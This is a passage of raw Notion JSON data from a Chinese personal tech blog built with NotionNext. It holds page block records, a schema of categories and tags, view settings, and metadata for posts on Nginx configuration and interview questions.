parent_id":"ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"033f6446-49e6-454b-827d-d02c1160070b":{"value":{"id":"033f6446-49e6-454b-827d-d02c1160070b","type":"column","content":["475694ef-f5fa-4efe-8340-1b11e1b229d6","0f7f43d4-b57d-4f66-b4ee-d6980c3d8a38"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"31553aec-99ed-4d5f-891a-f806a1fd2df0":{"value":{"id":"31553aec-99ed-4d5f-891a-f806a1fd2df0","type":"column","content":["da3535f7-49a6-4cea-b1c7-451a0f3b899e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"ea6dacc9-d3d2-4d8e-a3ea-56db91ea8842","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"379e9415-56f0-4144-85e7-8a5daccc2b14":{"value":{"id":"379e9415-56f0-4144-85e7-8a5daccc2b14","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"7d27a0d2-8b75-4c60-8046-d473435cb46a","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"475694ef-f5fa-4efe-8340-1b11e1b229d6":{"value":{"id":"475694ef-f5fa-4efe-8340-1b11e1b229d6","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"033f6446-49e6-454b-827d-d02c1160070b","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"0f7f43d4-b57d-4f66-b4ee-d6980c3d8a38":{"value":{"id":"0f7f43d4-b57d-4f66-b4ee-d6980c3d8a38","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"033f6446-49e6-454b-827d-d02c1160070b","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"da3535f7-49a6-4cea-b1c7-451a0f3b899e":{"value":{"id":"da3535f7-49a6-4cea-b1c7-451a0f3b899e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1712556018464,"last_edited_time":1712556018464,"parent_id":"31553aec-99ed-4d5f-891a-f806a1fd2df0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},"next":{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},"recommendPosts":[{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1